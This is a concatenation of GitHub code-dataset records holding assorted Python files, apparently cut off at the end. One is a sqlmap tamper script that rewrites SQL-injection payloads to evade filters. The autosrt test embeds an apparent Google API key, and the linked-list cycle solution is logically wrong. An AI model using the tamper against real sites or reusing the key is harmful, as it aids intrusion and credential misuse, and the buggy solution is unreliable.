image[i]\n volume = image_c.sum()\n image_c = image_c.astype('bool')\n threshold = int(volume * percent)\n image_c = remove_small_objects(image_c, min_size=threshold, connectivity=image_c.ndim)\n image[ignore_label] = image[ignore_label].astype('bool') | ((~image_c.astype('bool')) & image[i].astype('bool'))\n image[i] = image_c\n\n return image.astype('int')","repo_name":"bigPYJ1151/COVID-Competition","sub_path":"src/tools/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"24993775843","text":"import cv2\nimport numpy as np\n\nimageSource = 'two_cats.jpg'\nimg = cv2.imread(imageSource, cv2.IMREAD_GRAYSCALE)\nnoise_type = str(raw_input('Noise Type (G or SP): '))\nnoise_type = noise_type.strip(' ')\nif noise_type == 'G':\n row, col = img.shape\n mean = input('Mean: ')\n variance = input('Variance: ')\n sigma = variance ** 0.5\n gaussian = np.ndarray(img.shape, dtype=np.uint8)\n cv2.randn(gaussian, mean, sigma)\n noisyImage = img + gaussian\n cv2.imshow(\"Original Image\", np.array(img, dtype=np.uint8))\n cv2.imshow(\"Image with Gaussian Noise\", np.array(noisyImage, dtype=np.uint8))\nelse:\n row, col = img.shape\n saltProbability = float(raw_input('The Probability of salt: '))\n noisePercentage = float(raw_input('Total noise percentage: '))\n noisyImage = np.copy(img)\n numberOfSalts = np.ceil(noisePercentage * img.size * saltProbability)\n for i in range(int(numberOfSalts)):\n x = np.random.randint(0, img.shape[0] - 1)\n y = np.random.randint(0, img.shape[1] - 1)\n noisyImage[x, y] = 255\n numberOfPepper = np.ceil(noisePercentage * img.size * (1. - saltProbability))\n xcoords = [np.random.randint(0, img.shape[0] - 1, int(numberOfPepper))]\n ycoords = [np.random.randint(0, img.shape[1] - 1, int(numberOfPepper))]\n for i in range(int(numberOfPepper)):\n x = np.random.randint(0, img.shape[0] - 1)\n y = np.random.randint(0, img.shape[1] - 1)\n noisyImage[x, y] = 0\n cv2.imshow(\"Original\", np.array(img, dtype=np.uint8))\n cv2.imshow(\"SaltPepper noise added\", np.array(noisyImage, dtype=np.uint8))\n\ncv2.waitKey(20000)\ncv2.destroyAllWindows()\n","repo_name":"cse001/VNIT","sub_path":"Sem7/IVP/Code/3/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5952218105","text":"# Specializing JSON object decoding\n\nimport json\n\ndef as_complex(dct):\n if '__complex__' in dct:\n return complex(dct['real'],dct['imag'])\n return dct\n\na_complex = json.loads('{\"__complex__\": true, \"real\": 1, \"imag\": 2}',\n object_hook=as_complex)\n\nprint(a_complex)\n","repo_name":"WhaleChen/python_toolbox","sub_path":"json_decoding_skill.py","file_name":"json_decoding_skill.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"743449866","text":"from __future__ import print_function\nimport h5py\nimport numpy as np\nimport json\nimport sys\nimport os\nimport time\nfrom max_points import find_max_points\nfrom skimage.measure import block_reduce\n\n#Applies NMS to find divisions from model output (per-voxel predictions)\n\ndef find_divisions(\n setup,\n iteration,\n sample,\n frame,\n output_filename,\n radius,\n sigma=None,\n min_score_threshold=0,\n downsample=None,\n *args,\n **kwargs):\n '''Find all divisions in the predictions of a frame.\n\n Args:\n\n setup (string):\n\n The name of the setup.\n\n iteration (int):\n\n The training iteration.\n\n sample (string):\n\n The video to find divisions for.\n\n frame (int):\n\n The frame in the video to find divisions for.\n\n output_filename (string):\n\n Name of the JSON file to store the results in.\n\n radius (tuple):\n The radius in (t,z,y,x) to consider for NMS\n\n sigma (tuple):\n Smoothing factor to apply to predictions before NMS\n\n min_score_threshold (float):\n\n Only selects local maxima with scores strictly greater than this threshold\n\n downsample (tuple, optional):\n\n Downsample with these factors (e.g., ``(3,2,2)`` will downsample\n z by 3, x and y by 2).\n '''\n\n context = radius[0]\n\n frames = list(range(frame - context, frame + context + 1))\n\n prediction_filenames = [\n os.path.join(\n 'processed',\n setup,\n str(iteration),\n sample + '_' + str(f) + '.hdf')\n for f in frames]\n\n print(\"Reading predictions...\")\n start = time.time()\n predictions = []\n for prediction_filename in prediction_filenames:\n print(\"\\t%s\"%prediction_filename)\n with h5py.File(prediction_filename, 'r') as f:\n ds = f['volumes/divisions']\n predictions.append(np.array(ds[0]))\n offset = tuple(ds.attrs['offset'][1:])\n resolution = tuple(ds.attrs['resolution'])\n predictions = np.array(predictions)\n print(\"%.3fs\"%(time.time()-start))\n\n print(\"resolution of predictions: %s\"%(resolution,))\n\n if downsample:\n downsample = tuple(downsample)\n print(\"Downsampling predictions...\")\n start = time.time()\n predictions = np.array([\n block_reduce(predictions[f], downsample, np.max)\n for f in range(predictions.shape[0])])\n resolution = (resolution[0],) + tuple(r*d for r, d in zip(resolution[1:], downsample))\n print(\"%.3fs\"%(time.time()-start))\n print(\"new resolution of predictions: %s\"%(resolution,))\n\n print(\"Finding detections...\")\n detections, blobs = find_max_points(predictions, resolution, radius, sigma, min_score_threshold)\n print(\"Storing detections...\")\n start = time.time()\n\n # correct for offset and resolution\n detections = {\n label: {\n 'center': tuple(\n c*r+o\n for c, o, r\n in zip(data['center'], offset, resolution[1:])),\n 'score': float(data['score'])\n }\n for label, data in detections.items()\n }\n\n result = {\n 'divisions': detections,\n 'configuration': {\n 'setup': setup,\n 'iteration': iteration,\n 'sample': sample,\n 'frame': frame,\n 'radius': radius,\n 'sigma': sigma,\n 'min_score_threshold': min_score_threshold,\n 'downsample': downsample,\n }\n }\n\n with open(output_filename, 'w') as f:\n json.dump(result, f, indent=2)\n print(\"%.3fs\"%(time.time()-start))\n\nif __name__ == \"__main__\":\n\n args_file = sys.argv[1]\n with open(args_file, 'r') as f:\n args = json.load(f)\n find_divisions(**args)\n","repo_name":"KellerLab/DivisionDetector","sub_path":"03_process/find_divisions.py","file_name":"find_divisions.py","file_ext":"py","file_size_in_byte":3921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29363524726","text":"import sys\r\nimport multiprocessing\r\nfrom progressbar import ProgressBar, Percentage, Bar, ETA\r\n\r\nfrom autosrt import Language, WavConverter, SpeechRegionFinder, FLACConverter, SpeechRecognizer, SentenceTranslator, \\\r\n SubtitleFormatter, SubtitleWriter\r\n\r\ndef show_progress(media_filepath, percentage):\r\n global pbar\r\n pbar.update(percentage)\r\n\r\ndef show_error_messages(messages):\r\n print(messages)\r\n\r\ndef main():\r\n global pbar\r\n\r\n media_filepath = \"balas budi.mp4\"\r\n src = \"zh-CN\"\r\n dst = \"id\"\r\n subtitle_format = \"srt\"\r\n\r\n widgets = [\"Converting to a temporary WAV file : \", Percentage(), ' ', Bar(), ' ', ETA()]\r\n pbar = ProgressBar(widgets=widgets, maxval=100).start()\r\n wav_converter = WavConverter(channels=1, rate=48000, progress_callback=show_progress, error_messages_callback=show_error_messages)\r\n wav_filepath, sample_rate = wav_converter(media_filepath)\r\n pbar.finish()\r\n\r\n region_finder = SpeechRegionFinder(frame_width=4096, min_region_size=0.5, max_region_size=6, error_messages_callback=show_error_messages)\r\n regions = region_finder(wav_filepath)\r\n\r\n converter = FLACConverter(wav_filepath=wav_filepath, error_messages_callback=show_error_messages)\r\n recognizer = SpeechRecognizer(language=src, rate=sample_rate, api_key=\"AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw\", error_messages_callback=show_error_messages)\r\n\r\n pool = multiprocessing.Pool(10)\r\n\r\n if regions:\r\n try:\r\n widgets = [\"Converting speech regions to FLAC files : \", Percentage(), ' ', Bar(), ' ', ETA()]\r\n pbar = ProgressBar(widgets=widgets, maxval=len(regions)).start()\r\n extracted_regions = []\r\n for i, extracted_region in enumerate(pool.imap(converter, regions)):\r\n extracted_regions.append(extracted_region)\r\n pbar.update(i)\r\n pbar.finish()\r\n\r\n widgets = [\"Performing speech recognition : \", Percentage(), ' ', Bar(), ' ', ETA()]\r\n pbar = ProgressBar(widgets=widgets, maxval=len(regions)).start()\r\n transcripts = []\r\n for i, transcript in enumerate(pool.imap(recognizer, extracted_regions)):\r\n transcripts.append(transcript)\r\n pbar.update(i)\r\n pbar.finish()\r\n\r\n subtitle_filepath = \"harry.srt\"\r\n subtitle_format = \"srt\"\r\n\r\n writer = SubtitleWriter(regions, transcripts, subtitle_format, error_messages_callback=show_error_messages)\r\n writer.write(subtitle_filepath)\r\n timed_subtitles = writer.timed_subtitles\r\n\r\n created_regions = []\r\n created_subtitles = []\r\n for entry in timed_subtitles:\r\n created_regions.append(entry[0])\r\n created_subtitles.append(entry[1])\r\n\r\n prompt = \"Translating from %8s to %8s : \" %(src, dst)\r\n widgets = [prompt, Percentage(), ' ', Bar(), ' ', ETA()]\r\n pbar = ProgressBar(widgets=widgets, maxval=len(timed_subtitles)).start()\r\n transcript_translator = SentenceTranslator(src=src, dst=dst, error_messages_callback=show_error_messages)\r\n translated_subtitles = []\r\n for i, translated_subtitle in enumerate(pool.imap(transcript_translator, created_subtitles)):\r\n translated_subtitles.append(translated_subtitle)\r\n pbar.update(i)\r\n pbar.finish()\r\n\r\n translated_subtitle_filepath = subtitle_filepath[ :-4] + '.translated.' + subtitle_format\r\n translation_writer = SubtitleWriter(created_regions, translated_subtitles, subtitle_format, error_messages_callback=show_error_messages)\r\n translation_writer.write(translated_subtitle_filepath)\r\n\r\n print('Done.')\r\n print(\"Original subtitles file created at : {}\".format(subtitle_filepath))\r\n print('Translated subtitles file created at : {}' .format(translated_subtitle_filepath))\r\n\r\n except KeyboardInterrupt:\r\n pbar.finish()\r\n pool.terminate()\r\n pool.close()\r\n pool.join()\r\n print(\"Cancelling transcription\")\r\n sys.exit(1)\r\n\r\n except Exception as e:\r\n pbar.finish()\r\n pool.terminate()\r\n pool.close()\r\n pool.join()\r\n print(e)\r\n sys.exit(1)\r\n\r\nif __name__ == '__main__':\r\n multiprocessing.freeze_support()\r\n sys.exit(main())\r\n","repo_name":"botbahlul/autosrt","sub_path":"test/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"5"} +{"seq_id":"8868834369","text":"import posixpath\nfrom aocd import lines\n\ndef run_directions(lines, use_aim = False):\n depth = 0\n pos = 0\n aim = 0\n for line in lines:\n dir, dist = line.split()\n dist = int(dist)\n if (dir == 'forward'):\n pos += dist\n if use_aim:\n depth += aim * dist \n elif (dir == 'up'):\n if use_aim:\n aim -= dist\n else:\n depth -= dist\n else:\n if use_aim:\n aim += dist\n else:\n depth += dist\n return depth * pos\n\n\nex1 = \"\"\"forward 5\ndown 5\nforward 8\nup 3\ndown 8\nforward 2\n\"\"\"\nassert run_directions(ex1.splitlines()) == 150\nprint('2a: ', run_directions(lines))\n\nassert run_directions(ex1.splitlines(), True) == 900\nprint('2b: ', run_directions(lines, True))\n","repo_name":"portnoyslp/advent-of-code","sub_path":"2021/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40099968398","text":"import ctypes\nimport os\nimport sys\nimport getpass\n\nimport docker\nfrom knack.log import get_logger\n\nlogger = get_logger(__name__)\n\n\ndef is_linux():\n return sys.platform in (\"linux\", \"linux2\")\n\n\nif is_linux():\n import grp # pylint: disable=import-error\n\n\ndef is_admin() -> bool:\n admin = False\n try:\n admin = os.getuid() == 0\n except AttributeError:\n admin = ctypes.windll.shell32.IsUserAnAdmin() != 0\n return admin\n\n\ndef is_docker_running() -> bool:\n # check to see if docker is running\n client = None\n out = True\n try:\n client = docker.from_env()\n # need any command that will show the docker daemon is not running\n client.containers.list()\n except docker.errors.DockerException:\n out = False\n finally:\n if client:\n client.close()\n return out\n\n\ndef docker_permissions() -> str:\n docker_group = None\n # check if the user is in the docker group and if not an admin\n if is_linux() and not is_admin():\n client = None\n try:\n docker_group = grp.getgrnam(\"docker\")\n client = docker.from_env()\n # need any command that will show the docker daemon is\n client.containers.list()\n except KeyError:\n return \"The docker group was not found\"\n except docker.errors.DockerException as e:\n return f\"Docker error: {e.args[0]}\"\n finally:\n if client:\n client.close()\n if getpass.getuser() not in docker_group.gr_mem:\n return \"\"\"The current user does not have permission to run Docker.\n Run 'sudo usermod -aG docker' to add them to the docker group.\"\"\"\n return \"\"\n\n\ndef run_initial_docker_checks() -> str:\n \"\"\"Utility function: call the rest of the checks to make sure the environment has prerequisites i.e.\n docker is running and the user is allowed to use it\"\"\"\n result = is_docker_running()\n if not result:\n return \"The docker process was not found. Please start Docker.\"\n\n error_msg = docker_permissions()\n if error_msg:\n return error_msg\n return \"\"\n","repo_name":"Azure/azure-cli-extensions","sub_path":"src/confcom/azext_confcom/init_checks.py","file_name":"init_checks.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":350,"dataset":"github-code","pt":"5"} +{"seq_id":"13369704621","text":"#! /usr/bin/env python3\n\n\"\"\"\nhttp://oj.leetcode.com/problems/linked-list-cycle/\n\nGiven a linked list, determine if it has a cycle in it.\n\nFollow up:\nCan you solve it without using extra space?\n\nSince Apr-10-2014 16:05\n\"\"\"\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution:\n # @param head, a ListNode\n # @return a boolean\n def hasCycle(self, head):\n if head.next is not head: # single circular list\n return False\n else:\n return self.hasCycle(head.next)\n\n\nif __name__ == '__main__':\n s = Solution()\n n1 = ListNode(1)\n n2 = ListNode(2)\n n3 = ListNode(3)\n n4 = ListNode(4)\n\n n1.next = n2\n n2.next = n3\n n3.next = n4\n print(s.hasCycle(n1))\n\n n1.next = n2\n n2.next = n3\n n3.next = n4\n n4.next = n1\n print(s.hasCycle(n1))\n","repo_name":"fossilet/leetcode","sub_path":"linked_list_cycle.py","file_name":"linked_list_cycle.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"19309827363","text":"import requests\nimport bs4\nimport numpy as np\n\nlink = \"http://books.toscrape.com/\"\nreq = requests.get(link)\nprint(req.status_code)\n\nhtml = bs4.BeautifulSoup(req.text, \"lxml\" )\n\n\nnames = []\nh3_tags = html.find_all('h3')\nprint(len(h3_tags))\nfor i in h3_tags:\n names.append(i.find('a').get('title'))\n \nfor i in names:\n print(i)\n\n\nprices = [] \ndiv_tags = html.find_all('div', {\"class\" : \"product_price\"})\nfor i in div_tags:\n prices.append(float(i.find('p').text[2:]))\n \nfor i in prices:\n print(i)\n \n \nratings = []\nli_tags = html.find_all('li', {'class' : \"col-xs-6 col-sm-4 col-md-3 col-lg-3\"})\nprint(len(li_tags))\np_tags = []\nfor i in li_tags:\n p_tags.append(i.find('p').get('class'))\nfor i in p_tags:\n ratings.append(i[-1])\n \nfor i in ratings:\n print(i)\n \n\n\nnames = []\nratings = []\nprices = []\n\nfor i in range(1, 51):\n req = requests.get(\"http://books.toscrape.com/catalogue/page-{}.html\".format(i))\n html = bs4.BeautifulSoup(req.text, \"lxml\" )\n \n h3_tags = html.find_all('h3')\n for i in h3_tags:\n names.append(i.find('a').get('title'))\n \n div_tags = html.find_all('div', {\"class\" : \"product_price\"})\n for i in div_tags:\n prices.append(float(i.find('p').text[2:]))\n \n li_tags = html.find_all('li', {'class' : \"col-xs-6 col-sm-4 col-md-3 col-lg-3\"})\n p_tags = []\n for i in li_tags:\n p_tags.append(i.find('p').get('class'))\n for i in p_tags:\n ratings.append(i[-1])\n \nimport pandas as pd\nbooks = pd.DataFrame(zip(names, ratings, prices), columns = [\"Titles\", \"Ratings\", \"Prices\"])\nbooks.to_excel(\"Books.xlsx\", index = False)\n ","repo_name":"tay-L0R/python_course","sub_path":"practice9.py","file_name":"practice9.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"42551179692","text":"import dataclasses\nimport numpy as np\nimport torch\nfrom tqdm import tqdm\nfrom src.PPOs.AbstractPPO import AbstractPPO\nfrom src.model.Continuous.MLP.MLPActor import MLPActor\nfrom src.model.Continuous.MLP.MLPCritic import MLPCritic\nfrom src.model.Continuous.LSTM.LSTMActor import LSTMActor\nfrom src.model.Continuous.LSTM.LSTMCritic import LSTMCritic\n\n\ndef get_model_flattened_params(model):\n return torch.cat([param.data.view(-1) for param in model.parameters()])\n\n\n@dataclasses.dataclass\nclass ContinuousPPO(AbstractPPO):\n \"\"\"Continuous multi actions Proximal Policy Optimization (PPO) agent.\n \"\"\"\n\n # Path to save the model\n def __post_init__(self) -> None:\n \"\"\"Initialize the PPO agent.\n \"\"\"\n self.continuous_action_space = True\n super().__post_init__()\n print(\"Initializing ContinousPPO\")\n print('env_name: ', self.env_name)\n self.action_size = self.env.action_space.shape[0]\n\n self.episode_counter = 0\n if self.recurrent:\n\n self.actor = LSTMActor(state_size=self.state_size,\n action_size=self.action_size, hidden_size=self.actor_hidden_size).to(self.device)\n self.critic = LSTMCritic(\n state_size=self.state_size, hidden_size=self.critic_hidden_size).to(self.device)\n else:\n self.actor = MLPActor(state_size=self.state_size,\n action_size=self.action_size, hidden_size=self.actor_hidden_size).to(self.device)\n\n self.critic = MLPCritic(\n state_size=self.state_size, hidden_size=self.critic_hidden_size).to(self.device)\n\n self.initialize_optimizer()\n\n def choose_action(self, state: np.ndarray) -> (np.ndarray, torch.Tensor):\n \"\"\"Choose an action from the action space.\n\n Arguments\n ---------\n state : np.ndarray\n The current state of the environment.\n\n Returns\n -------\n action : np.ndarray\n The action chosen by the agent.\n log_prob : torch.Tensor\n The log probability of the action.\n \"\"\"\n\n with torch.no_grad():\n state = torch.tensor(\n state, dtype=torch.float32, device=self.device)\n # if the state is 3,1, we remove the first dimension\n if self.recurrent:\n state = state.unsqueeze(1)\n mean, std = self.actor(state)\n if self.recurrent:\n mean = mean.squeeze(1)\n std = std.squeeze(1)\n # this is a multivariate normal distribution\n square_std = std ** 2\n \"\"\" if len(square_std.shape) != 1:\n square_std= square_std.squeeze()\n if len(mean.shape) != 1:\n mean = mean.squeeze()\"\"\"\n\n covar_matrix = torch.diag(square_std)\n dist = torch.distributions.MultivariateNormal(mean, covar_matrix)\n action = dist.sample()\n log_prob = dist.log_prob(action)\n action = action.numpy()\n # add a dimension to the action\n\n return action, log_prob\n\n def rollout_episodes(self) -> (float, float):\n \"\"\"Rollout the policy on the environment for a number of episodes.\n\n Returns\n -------\n best_reward : float\n The best reward for whole episode obtained during the rollout.\n average_reward : float\n The average reward for whole episode obtained during the rollout.\n \"\"\"\n number_of_step = 0\n number_episode = 0\n average_reward = 0\n best_reward = 0\n while number_of_step < self.timestep_per_update:\n\n state = self.env.reset()\n\n state = state[0]\n self.current_episode += 1\n ep_reward = 0\n done = False\n for _ in range(self.timestep_per_episode):\n\n action, log_prob = self.choose_action(state)\n\n next_state, reward, done, _, _ = self.env.step(action)\n # reward is a numpy array, we need to convert it to a float\n # same for action\n\n next_state = next_state.reshape(-1)\n self.total_timesteps_counter += 1\n ep_reward += reward\n self.writer.add_scalar(\n \"Reward total timestep\", reward, self.total_timesteps_counter)\n state = torch.tensor(\n state, dtype=torch.float32, device=self.device)\n if self.recurrent:\n state = state.unsqueeze(1)\n value = self.critic(state)\n reward = torch.tensor(\n [reward], dtype=torch.float32, device=self.device)\n mask = torch.tensor(\n [not done], dtype=torch.float32, device=self.device)\n done = torch.tensor(\n [done], dtype=torch.float32, device=self.device)\n\n action = torch.tensor(\n action, dtype=torch.float32, device=self.device)\n self.buffer.add_step_to_buffer(\n reward, value, log_prob, action, done, state, mask)\n state = next_state\n number_of_step += 1\n if done or number_of_step == self.timestep_per_update:\n\n number_episode += 1\n self.episode_counter += 1\n average_reward += ep_reward\n self.writer.add_scalar(\n \"Reward\", ep_reward, self.current_episode)\n\n if ep_reward > best_reward:\n best_reward = ep_reward\n break\n\n self.buffer.compute_advantages()\n self.writer.add_scalar(\n 'Average reward', average_reward / number_episode, self.episode_counter)\n return best_reward, average_reward / number_episode\n\n def update(self):\n \"\"\"Update the policy using the collected rollouts.\n \"\"\"\n torch.autograd.set_detect_anomaly(True)\n\n for _ in tqdm(range(self.epochs)):\n num_samples = len(self.buffer.rewards) - 1\n indices = torch.randperm(num_samples)\n\n for i in range(0, num_samples, self.minibatch_size):\n batch_indices = indices[i:i + self.minibatch_size]\n\n states, actions, old_log_probs, advantages, discounted_rewards = self.buffer.get_minibatch(\n batch_indices)\n\n states = torch.stack(states)\n\n values = self.critic(states)\n if self.recurrent:\n values = values.squeeze().squeeze()\n mean, std = self.actor(states)\n values = values.squeeze()\n\n square_std = std ** 2\n covar_matrix = torch.diag_embed(square_std)\n dist = torch.distributions.MultivariateNormal(\n mean, covar_matrix)\n\n entropy = dist.entropy()\n discounted_rewards = torch.stack(discounted_rewards)\n discounted_rewards = torch.squeeze(discounted_rewards)\n actions = torch.stack(actions)\n\n new_log_probs = dist.log_prob(actions)\n advantages = torch.stack(advantages)\n advantages = torch.squeeze(advantages)\n old_log_probs = torch.stack(old_log_probs)\n old_log_probs = torch.squeeze(old_log_probs)\n\n ratio = torch.exp(new_log_probs - old_log_probs.detach())\n surr1 = ratio * advantages\n surr2 = torch.clamp(ratio, 1 - self.eps_clip,\n 1 + self.eps_clip) * advantages\n actor_loss = -torch.min(surr1, surr2)\n\n critic_loss = self.critic_loss(values, discounted_rewards)\n loss = actor_loss + self.value_loss_coef * \\\n critic_loss - self.entropy_coef * entropy\n self.writer.add_scalar(\n \"Value Loss\", critic_loss.mean(), self.total_updates_counter)\n self.writer.add_scalar(\n \"MLPActor Loss\", actor_loss.mean(), self.total_updates_counter)\n self.writer.add_scalar(\"Entropy\", entropy.mean(\n ) * self.entropy_coef, self.total_updates_counter)\n self.total_updates_counter += 1\n self.actor_optimizer.zero_grad()\n self.critic_optimizer.zero_grad()\n loss.mean().backward()\n # After the backward call\n\n self.actor_optimizer.step()\n self.critic_optimizer.step()\n\n # Update steps here...\n\n self.decay_learning_rate()\n self.buffer.clean_buffer()\n","repo_name":"MaximeSzymanski/PPO","sub_path":"src/PPOs/MultipleContinuous_PPO.py","file_name":"MultipleContinuous_PPO.py","file_ext":"py","file_size_in_byte":8756,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"1252707408","text":"n = int(input())\nnames = list(input() for _ in range(n))\n\ndef iscapitalize(name):\n if name[0].isupper():\n if name[1:len(name)-1].islower():\n return 1\n return 0\n\nfor i in range(n):\n # capitalized 경우\n if iscapitalize(names[i]):\n continue\n # 소문자로만 되어있는 경우\n if names[i].islower():\n names[i] = names[i].capitalize()\n # mixed 경우\n else:\n names[i] = names[i].upper()\n\nfor i in range(n):\n print(sorted(names)[i])\n","repo_name":"swjiae/Algorithm","sub_path":"Algorithm/Mincoding/32/새로운회원관리.py","file_name":"새로운회원관리.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15238474514","text":"import re\n\n\ndef fuzz(payload, **kwargs):\n \"\"\"\n Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'\n\n Requirement:\n * MySQL\n\n Tested against:\n * MySQL 5.0 and 5.5\n\n >>> tamper('MID(VERSION(), 1, 1)')\n 'MID(VERSION() FROM 1 FOR 1)'\n \"\"\"\n\n retVal = payload\n\n match = re.search(r\"(?i)MID\\((.+?)\\s*,\\s*(\\d+)\\s*\\,\\s*(\\d+)\\s*\\)\", payload or \"\")\n if match:\n retVal = retVal.replace(match.group(0), \"MID(%s FROM %s FOR %s)\" % (match.group(1), match.group(2), match.group(3)))\n\n return retVal\n","repo_name":"lwwwzh/web_fuzze","sub_path":"fuzze_script/sqlmap_tamper/commalessmid_fuzzer.py","file_name":"commalessmid_fuzzer.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6945653841","text":"import PIL.Image\nimport PIL.ImageTk\nfrom math import ceil\nfrom ...logging import console\n\nclass Image:\n '''Ye'''\n def __init__(self, image : PIL.Image.Image):\n self.true_image = image\n self.true_size = image.size\n\n self.photo_image = PIL.ImageTk.PhotoImage(image)\n self.size = self.true_size\n\n def resize(self, new_width, new_height):\n new_width = ceil(new_width)\n new_height = ceil(new_height)\n if self.size == (new_width, new_height):return\n if self.true_size == (new_width, new_height):\n self.photo_image = PIL.ImageTk.PhotoImage(self.true_image)\n self.size = self.true_size\n return\n \n self.photo_image = PIL.ImageTk.PhotoImage(self.true_image.resize((new_width, new_height)))\n self.size = (new_width, new_height)\n\n def __repr__(self):\n return f'<Image size = {self.size} true_size = {self.true_size}>'\n\n @staticmethod\n def handle_resource_request(data):\n from io import BytesIO\n try:\n return PIL.Image.open(BytesIO(data))\n except:\n console.warn('Image data did not come :(')\n return PIL.Image.new('RGB', (0, 0))","repo_name":"Dragon-KK/mypygui","sub_path":"src/mypygui/page/objects/image_container.py","file_name":"image_container.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"4358315094","text":"import os\nimport torch\nimport numpy as np\nimport torch.nn.functional as F\nimport sys\nimport os\nimport torch.nn as nn\nimport pretrainedmodels\nimport pretrainedmodels.utils\nhome = os.path.expanduser('~')\npath = os.path.join(home, \"Documents/eg3d-age/eg3d/\")\nsys.path.append(path)\nfrom networks.dex.models import Age\nfrom networks.age_estimation.defaults import _C as cfg\nimport os \nimport dlib\nimport cv2\n\nclass AgeEstimatorNew():\n \"\"\"Class to estimate the apparent age of the subject on an image. \n Uses a pretrained CNN to estimate. Originally trained by\n https://github.com/yu4u/age-estimation-pytorch. \n \n Args:\n device: torch.device()\n age_min (int, optional): In what range the denormalization is done. Defaults to 0.\n age_max (int, optional): In what range the denormalization is done. Defaults to 100.\n crop (bool, optional): Whether to crop the images as the author. Tests show little to no difference in outcome. Defaults to False.\n \"\"\"\n def __init__(self, device, age_min=0, age_max=75, crop=False):\n root = os.path.expanduser('~')\n model = get_model(model_name=cfg.MODEL.ARCH, pretrained=None)\n self.age_model = model.to(device)\n pretrained_model_path = os.path.join(root, \"Documents/eg3d-age/eg3d/networks/yu4u.pth\")\n checkpoint = torch.load(pretrained_model_path)\n self.age_model.load_state_dict(checkpoint['state_dict'])\n self.age_model.requires_grad_(requires_grad=False) \n self.age_model.eval()\n self.device = device\n self.margin = 0.4\n self.detector = dlib.get_frontal_face_detector()\n self.img_size = 224\n self.ages = torch.arange(0,101, device = self.device)\n self.age_min = age_min\n self.age_max = age_max\n self.crop = crop\n \n def estimate_age(self, gen_img, normalize = True):\n \"\"\"Takes output of G.synthesis and estimates the age of the synthetic person.\n Input shape is [batch_size, channels, w, h]. Images are crop based on the detections.\n The cropped images are converted to BGR and estimated using a pretrained age estimator.\n\n The method will return the sum of logits in an age range if categories are defined when\n the module is initialized. E.g. if the categories are [0,5,50,101], the first 5 logits are\n summed, the next 45 and the last 50. \n\n Args:\n gen_img (tensor): image\n normalized (bool): true if the output age should be normalized. Default is true.\n crop (bool): whether to crop the images before doing age estimation. Default is False. \n Returns:\n tensor, tensor: predicted ages, logits\n \"\"\"\n img_RGB = (gen_img * 127.5 + 128).clamp(0, 255) # rescale image values to be between 0 and 255\n if self.crop:\n img_RGB_detached = img_RGB.detach() \n detections = self.detect_faces(img_RGB_detached.permute(0,2,3,1))\n crops = self.crop_images(detections, img_RGB)\n else:\n # resize to fit age model\n crops = F.interpolate(img_RGB, [224,224], mode='bilinear', align_corners=True) \n crops = crops.to(self.device)\n crops_BGR = crops.flip([1]) # convert to BGR\n logits = self.age_model(crops_BGR)\n outputs = F.softmax(logits, dim=-1)\n predicted_ages = (outputs * self.ages).sum(axis=-1)\n\n # if len(self.categories) > 1:\n # logits = self.categorize_logits(logits) unused\n\n if normalize:\n return self.normalize_ages(predicted_ages, rmin=self.age_min, rmax=self.age_max), logits\n else:\n return predicted_ages, logits\n\n def categorize_logits(self, logits):\n \"\"\"Will categorize the logits into the age ranges specified by the categories list\n by summing the logits in each category.\n Only relevant if `len(self.categories) > 1`, otherwise categories are unused. \n\n Args:\n logits (tensor): raw output of the age model with the size [batch_size, 101]\n\n Returns:\n tensor: logits that are summed in the given categories.\n \"\"\"\n batch, n = logits.shape\n zeros = torch.zeros((batch, len(self.categories) - 1), device = self.device)\n buckets = torch.bucketize(self.ages, torch.tensor(self.categories, device = self.device), right=True)\n logits_categorized = zeros.index_add_(1, buckets - 1, logits)\n return logits_categorized\n\n def estimate_age_evaluate(self, images):\n \"\"\"Used for evaluating where the training data has already been resized and aligned.\n\n Args:\n images (tensor): batch, C, 224, 224\n\n Returns:\n tensor: predictions, size [batch, 1]\n \"\"\"\n outputs = F.softmax(self.age_model(images), dim=-1)\n predicted_ages = (outputs * self.ages).sum(axis=-1)\n return predicted_ages \n def estimate_age_rgb(self, image, normalize = True):\n image = image.type('torch.FloatTensor')\n if self.crop:\n detections = self.detect_faces(image)\n image = image.permute(0,3,1,2)\n crops = self.crop_images(detections, image)\n else:\n crops = F.interpolate(image.permute(0,3,1,2), [224,224], mode='bilinear', align_corners=True) \n crops = crops.to(self.device)\n crops_BGR = crops.flip([1])\n outputs = F.softmax(self.age_model(crops_BGR), dim=-1)\n predicted_ages = (outputs * self.ages).sum(axis=-1)\n if normalize:\n return 